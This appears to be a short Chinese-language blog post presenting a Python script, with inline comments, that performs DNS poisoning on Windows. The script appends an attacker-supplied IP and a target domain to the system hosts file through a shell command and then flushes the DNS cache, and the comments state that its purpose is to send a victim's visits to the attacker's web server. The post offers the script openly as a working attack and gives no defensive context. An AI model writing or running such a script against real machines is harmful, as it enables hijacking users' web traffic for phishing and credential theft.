通过修改hosts文件实现DNS毒化的代码
本代码主要利用到subprocess模块,由于需要修改hosts文件,因此需要管理员权限执行该代码,否则执行失败。
1 import subprocess 2 import os 3 import optparse 4 import sys 5 6 7 class DNSPoisoner: 8 def __init__(self) -> None: 9 self.target = self.get_params()[0] #攻击者的IP,运行有web服务,将受害者访问某网站时毒化访问攻击者的web服务 10 self.domain = self.get_params()[1] #要毒化的域名 11 12 13 def get_params(self): 14 parser = optparse.OptionParser("Usage: <Program> -t attacker's IP -d domain name") 15 parser.add_option('-t', '--target', dest='target', type='string', help='Specify attacker IP address') 16 parser.add_option('-d', '--domain', dest='domain', type='string', help='Specify domain name to attack') 17 options, args = parser.parse_args() 18 if options.target is None or options.domain is None: 19 print(parser.usage) 20 sys.exit(0) 21 return options.target, options.domain 22 23 24 def run(self): 25 try: 26 os.chdir('C:\Windows\System32\drivers\etc') #需要首先切换到hosts所在目录 27 command = 'echo %s %s >> hosts' % (self.target, self.domain) #以追加方式,将攻击者的IP以及目标域名写入hosts文件,实现毒化的目的 28 subprocess.call(command, shell=True) 29 command = 'ipconfig /flushdns' #需要刷新一下DNS 30 subprocess.call(command, shell=True) 31 except Exception as e: 32 print(e) 33 sys.exit(0) 34 35 36 37 if __name__ == "__main__": 38 dnspoisoner = DNSPoisoner() 39 dnspoisoner.run()
STRIVE FOR PROGRESS,NOT FOR PERFECTION